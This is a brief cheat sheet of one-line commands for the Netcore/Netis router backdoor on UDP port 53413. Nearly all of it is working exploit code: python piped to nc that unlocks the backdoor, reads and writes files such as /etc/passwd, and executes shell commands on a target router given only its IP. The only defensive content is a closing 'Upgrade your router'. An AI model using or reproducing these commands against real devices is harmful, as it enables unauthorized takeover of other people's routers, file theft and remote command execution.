netcore / netis backdoor

netcore / netis backdoor...

python -c "print 'A'*8 + 'netcore\x00'" | nc -u -vv IP 53413 # unlock the router (for everybody \o/)
python -c "print 'AA\x00\x01AAAA/etc/passwd\x00'" | nc -u -vv IP 53413 # read file, not supported by all routers
python -c "print 'AA\x00\x02AAAA/etc/passwd\x00'" | nc -u -vv IP 53413 # write file (content in subsequent packets, not reversed...), not supported by all routers
python -c "print 'AA\x00\x00AAAA$Help\x00'" | nc -u -vv IP 53413 # internal commands (don't forget to escape the $ in bash ;) )
python -c "print 'AA\x00\x00AAAA echo toto\x00'" | nc -u -vv IP 53413 # execute shell commands, not supported by all routers
python -c "print 'AA\x00\x00AAAA?\x00'" | nc -u -vv IP 53413 # get version of the deamon

Upgrade your router :)